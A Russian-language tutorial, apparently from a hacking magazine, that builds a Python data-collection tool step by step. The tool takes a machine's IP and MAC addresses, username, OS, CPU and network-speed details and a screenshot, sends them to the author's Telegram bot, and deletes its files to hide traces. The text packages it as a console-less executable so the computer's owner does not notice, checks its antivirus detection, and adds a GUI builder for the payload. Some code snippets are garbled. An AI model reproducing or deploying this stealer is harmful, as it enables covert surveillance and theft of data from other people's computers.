Чтобы просто увидеть IP-адрес и другие сетевые настройки, вам нужно перейти в командную строку и запустить команду ipconfig / all. Ситуация — одна из самых распространенных для эникейщиков и удаленных шаманов, но, по крайней мере, ее можно быстро решить. Но если вам нужно собрать более серьезный набор информации о машине, с которой вы теперь будете работать, без автоматизации вам не обойтись. Этим и займемся.
Доступ к компьютерной информации без санкции является преступлением. Ни автор, ни редакция не несут ответственности за ваши действия.
Задачи
Давай сначала обрисуем, что мы вообще планируем делать. Я планирую собирать следующую информацию:
- IP-адрес.
- MAC-адрес.
- Имя пользователя.
- Тип операционной системы.
- Скорость работы системы.
- Время.
- Скриншот.
- Скорость интернет‑соединения.
- Модель процессора.
И отправляться это все будет прямиком тебе в телегу через специальный бот.
Инструменты
Сначала рассмотрим, где мы будем писать код. Вы можете писать код в обычном блокноте Windows, но мы будем использовать специальную среду разработки Python — PyCharm. Установка и настройка просты как два рубля: скачайте установщик, запустите его — и нажмите «Далее» при появлении такой кнопки.
Еще нам нужен Python. Буду использовать версию 3.9.0 — уверен, что с ней все работает.
Основа программы
Для отправки данных я решил использовать робота Telegram. Вы можете создать его через BotFather, а затем сохранить токен своего создания. Вы не можете опубликовать его — любой, кто получит этот токен, сможет взять под контроль вашего бота.
Для подключения к Bot API «телеги» нужны всего две строчки:
import telebot
bot = telebot.TeleBot("token from BotFather") # Подключение бота
Чтобы оценить быстродействие, можно написать еще пару строк. Весь дальнейший код расположим между ними. Описанное выше подключение бота уже вписано сюда
import telebot
from datetime import datetime
bot = telebot.TeleBot("token")
start = datetime.now() # Начало отсчета
# Сюда поместим нашу основу, поэтому оставляем место
ends = datetime.now() # Конец отсчета
workspeed = format(ends - start) # Вычисление времени
Теперь перейдем собственно к сбору данных.
Сбор данных
Я не буду долго ходить вокруг да около и сразу начну разбирать секцию импорта.
import getpass
import os
import socket
from datetime import datetime
from uuid import getnode as get_mac
import pyautogui
from speedtest import Speedtest
import telebot
import psutil
import platform
from PIL import Image
Теперь кратко рассмотрим, что делает каждый модуль. Если какие‑то функции тебе не нужны, выброси строку импорта модуля и код, который использует этот модуль. Все просто!
Итак, за работу с ОС и локальными ресурсами отвечают эти четыре модуля:
getpass
нужен для определения информации о пользователе;os
используем для взаимодействия с функциями ОС, вроде вызова внешних исполняемых файлов;psutil
работает с некоторыми низкоуровневыми системными функциями;platform
предоставит информацию об ОС.
Этими модулями реализованы сетевые взаимодействия:
socket
— для работы с сокетами и получения IP-адресов;getnode
получает MAC-адрес машины;speedtest
замеряет характеристики интернет‑соединения;telebot
сделает всю рутину по работе с Telegram-ботом.
Служебные примочки, которые трудно отнести к категориям выше:
datetime
позволит определить время работы программы;pyautogui
работает с GUI;PIL.
— для снятия скриншота.Image
После этого нам требуется узнать основные стабильные характеристики системы: IP- и MAC-адреса, имя пользователя и ОС:
name = getpass.getuser() # Имя пользователя
ip = socket.gethostbyname(socket.getfqdn()) # IP-адрес системы
mac = get_mac() # MAC адрес
ost = platform.uname() # Название операционной системы
Строки кода снабжены комментариями и в пояснениях не нуждаются.
Скорость интернет-соединения
from speedtest import Speedtest # Импорт модуля. Рассматривался выше
inet = Speedtest()
download = float(str(inet.download())[0:2] + "." # Входящая скорость
+ str(round(inet.download(), 2))[1]) * 0.125
uploads = float(str(inet.upload())[0:2] + "." # Исходящая скорость
+ str(round(inet.download(), 2))[1]) * 0.125
Скорость измеряется служебной библиотекой Speedtest.net и поэтому дает результат в мегабитах, а не в мегабайтах. Чтобы исправить это, нужно разделить числовой результат на 8 или умножить на 0,125. Проделываем манипуляцию дважды — на скорость входа и выхода.
Важно понимать, что измерения не должны быть слишком точными, поскольку мы не можем легко проверить, какая часть канала используется другими программами или даже другими устройствами в сети. Если вы подключились к рабочей станции удаленно, ваше соединение тоже что-то потребляет. Исправление этого не было реализовано в программе из-за очень низкой точности и качества исполнения.
Часовой пояс и время
import psutil
zone = psutil.boot_time() # Узнает время, заданное на компьютере
time = datetime.fromtimestamp(zone) # Переводит данные в читаемый вид
Если вы настраиваете сервер или слишком удаленный компьютер, время может отличаться. Измеренные значения часов складываются со всеми остальными данными — лишней информации нет. Если вы не знали, неправильная установка времени и / или часового пояса может вызвать ошибки при подключении к сайтам с использованием HTTPS. Этот код упрощает обнаружение таких проблем.
Частота процессора
import psutil
cpu = psutil.cpu_freq()
Это может помочь определить причину, по которой ваш компьютер замедляется: если процессор постоянно развивается, но программы дают сбой, процессор устарел, а если он простаивает, виновата программа. И просто общее представление о железе.
Глубокий фингерпринтинг
В этой статье специально не рассказывается, как получить идентификатор жесткого диска или установленный идентификатор Windows GUID — мы не пишем руководство для рекламодателей, а практикуемся в программировании. Однако вы можете легко добавить коллекцию такой информации с помощью утилиты консоли wmic. Его вывод можно проанализировать с помощью скрипта Python, поэтому вам даже не нужно писать дополнительные привязки. На скриншоте показан пример получения серийного номера BIOS.
Скриншот рабочего стола
os.getcwd()
try: # Перехват ошибки в случае неверно указанного расположения
os.chdir(r"/temp/path")
except OSError:
@bot.message_handler(commands=['start'])
def start_message(message): # Служебная обвязка для бота
bot.send_message(message.chat.id, "[Error]: Location not found!")
bot.stop_polling()
bot.polling()
raise SystemExit
screen = pyautogui.screenshot("screenshot.jpg") # Снятие скриншота
Тут все тоже максимально просто, а за собственно снятие скриншота отвечает только последняя строка кода. Остальное мы используем для корректной обработки входящей команды бота.
Запись в файл
После того, как все будет сделано, мы можем перейти к окончательному сбору и отправке данных. Мы создаем готовый файл с нашими данными: если был использован максимальный сбор информации, а точнее весь приведенный выше код, мы будем использовать этот набор данных, в противном случае мы удалим данные, которые вам не нужны:
try: # Обвязка для обработки команд боту
os.chdir(r"/temp/path")
except OSError:
@bot.message_handler(commands=['start'])
def start_message(message):
bot.send_message(message.chat.id, "[Error]: Location not found!")
bot.stop_polling()
bot.polling()
raise SystemExit
file = open("info.txt", "w") # Открываем файл
file.write(f"[================================================]\n Operating System: {ost.system}\n Processor: {ost.processor}\n Username: {name}\n IP adress: {ip}\n MAC adress: {mac}\n Timezone: {time.year}/{time.month}/{time.day} {time.hour}:{time.minute}:{time.second}\n Work speed: {workspeed}\n Download: {download} MB/s\n Upload: {uploads} MB/s\n Max Frequency: {cpu.max:.2f} Mhz\n Min Frequency: {cpu.min:.2f} Mhz\n Current Frequency: {cpu.current:.2f} Mhz\n[================================================]\n") # Пишем
file.close() # Закрываем
Длинный, но удобный для чтения код. Первая часть используется для обработки команды / start, вторая — для записи всех данных в файл. Результат отображается в info.txt, но путь, конечно, можно изменить прямо в коде.
Все, что вам нужно сделать, это отправить результат в Telegram.
Отправка данных
Теперь дополним код выше, чтобы он еще и файлы отправлял.
text = "Screenshot" # Требуется при создании скриншота (текст к фото)
@bot.message_handler(commands=['start']) # Выполняет действия при команде start
def start_message(message):
upfile = open("Путь до файла\info.txt", "rb") # Читает файлы
uphoto = open("Путь до файла\screenshot.jpg", "rb")
bot.send_photo(message.chat.id, uphoto, text) # Отправляет данные
bot.send_document(message.chat.id, upfile)
upfile.close() # Закрывает файлы (обязательно)
uphoto.close()
os.remove("info.txt") # Удаляет файлы, чтобы не оставлять следы
os.remove("screenshot.jpg")
bot.stop_polling() # Закрывает соединение после отправки
bot.polling() # Создает соединение с ботом
Сначала указывается подпись к скриншоту, потом читаем и отправляем файлы в виде фото и документа, затем зачищаем следы и закрываем соединение с ботом. Ничего сложного!
Естественно, если нам не нужен, к примеру, скриншот, мы можем вырезать код его отправки, получив такой вариант:
@bot.message_handler(commands=['start'])
def start_message(message):
upfile = open("Путь до файла\info.txt", "rb")
bot.send_document(message.chat.id, upfile)
upfile.close()
os.remove("info.txt")
bot.stop_polling()
bot.polling()
Чтобы бот гарантированно отправлял все сообщения тебе, укажи вместо message. chat. id
ID чата с собой. Его можно узнать через бот GetMyID.
Также следует учесть одну деталь: перед запуском программы необходимо отправить своему боту команду / start, чтобы он понимал, кому должен отправлять данные.
Чтобы не перетаскивать Python и зависимости программы с собой на другой компьютер, давайте объединим все в один исполняемый файл. Это делается с помощью PyInstaller, который устанавливается с помощью простой команды pip install pyinstaller.
Переходим с помощью командной строки в папку с нашей программой и собираем ее командой
pyinstaller -i путь_до_иконки --onefile наш_файл.py
Аргумент —onefile заставит PyInstaller упаковать все в один файл. После -i вы должны указать путь к значку исполняемого файла, если хотите его использовать. Если он вам не нужен, просто удалите этот аргумент. Последнее — это путь к файлу с нашим кодом. Если вы не хотите, чтобы консоль появлялась при запуске (например, если владелец компьютера не знает, что вы собираетесь ему помочь: D), измените расширение входного файла с помощью кода на .pyw или укажите параметр -w.
Не забывайте проверять наличие модулей и их обновлений, чтобы избежать ошибок. Можно указать любой временный путь, но лично я указываю C: \ Temp. Конечно, если будет найдена ОС на базе Linux, то этот код придется исправить.
Вы также должны проверить, насколько сильно и как определяется наш файл. Чтобы не допустить вас к VirusTotal, я сделал это сам.
Результат сканирования на VirusTotal
Полный код проекта я разместил на GitHub. Там есть и программа‑сборщик, о которой я расскажу ниже.
Сборщик с графическим интерфейсом
Для создания GUI сборщика нам придется работать с библиотекой Tkinter, поэтому прежде всего импортируем ее и нужные элементы:
# -*- coding: utf-8 -*- # Не забываем указывать конфигурацию
from tkinter import * # Сама библиотека для работы
from tkinter import messagebox as mb # Функция для создания окон с информацией
После этого нужно создать окно, которое и будет основой интерфейса:
root = Tk()
root.title("Tkinter") # Название программы
root.geometry("300x400") # Разрешение окна программы
Нам нужен только ввод API-ключа для доступа к боту. Делается такой ввод кодом ниже:
text = Label(root, text="Telegram bot token") # Текст для обозначения поля
text.grid(padx=100, pady=0) # Расположение по x/y
API = Entry(root, width=20) # Создание поля ввода данных
API.grid(padx=100, pady=0)
Это создаст два графических объекта — поле ввода и подпись к нему.
В этом интерфейсе не хватает кнопки для сборки выходного файла. Давай создадим ее:
button = Button(root, text="Create", command=clicked, height=2, width=10)
button.grid(padx=100, pady=0)
Создаем функцию, которая должна находиться в файле после импорта библиотек. В ней мы должны создавать файл и записывать в него код полезной нагрузки.
def clicked():
system = open("source.py", "w")
system.write('''
# Сюда перемещаем полный код программы, которую мы писали раньше
''')
system.close()
Перед тем как вставлять код, убедись, что там нет лишних пробелов, иначе может возникнуть трудно обнаружимая ошибка.
Но на этом наша функция не заканчивается, так как нужно дать пользователю понять, готов ли файл. Делаем это с помощью MessageBox:
if API.get() or direct.get() == "":
mb.showwarning("WARNING", "There are empty fields")
else:
mb.showinfo("INFO", "The system.py file is ready!")
Теперь осталось только запустить отрисовку и обработку сообщений строкой root.
.
Опционально можно собрать и сборочный интерфейс. Для этого используем старый добрый PyInstaller:
pyinstaller -F -w --onefile программа.py
И все готово! Теперь ты имеешь полноценную программу для сбора данных о системе и ее сборщик, который ускорит процесс работы.
Каждый раз прибегать к PyInstaller, чтобы собрать программу, не слишком удобно. Можно воспользоваться модулем os и вызывать PyInstaller автоматически.
import os
os.system("pyinstaller --onefile наш_файл.py") # Сборка выходного бинарника
os.rmdir("build")
os.rmdir("__pycache__")
os.remove("system.py")
os.remove("system.spec")
Если тебе понадобилась иконка, можно добавить в команду сборки параметр -i
, а для сборки «невидимой» программы дописать -w
— ровно как при ручной сборке!
Вывод
В статье мы от начала до конца рассмотрели, как получить важные данные из вашей или чужой системы — от IP до модели процессора. Конечно, суть в том, что вы хотя бы немного научились писать код самостоятельно — и все равно сможете где-нибудь применить. Если вас интересует программирование на Python — прочтите например эту статью о написании простого вируса, это будет отличным закреплением ваших навыков программирования. Удачи!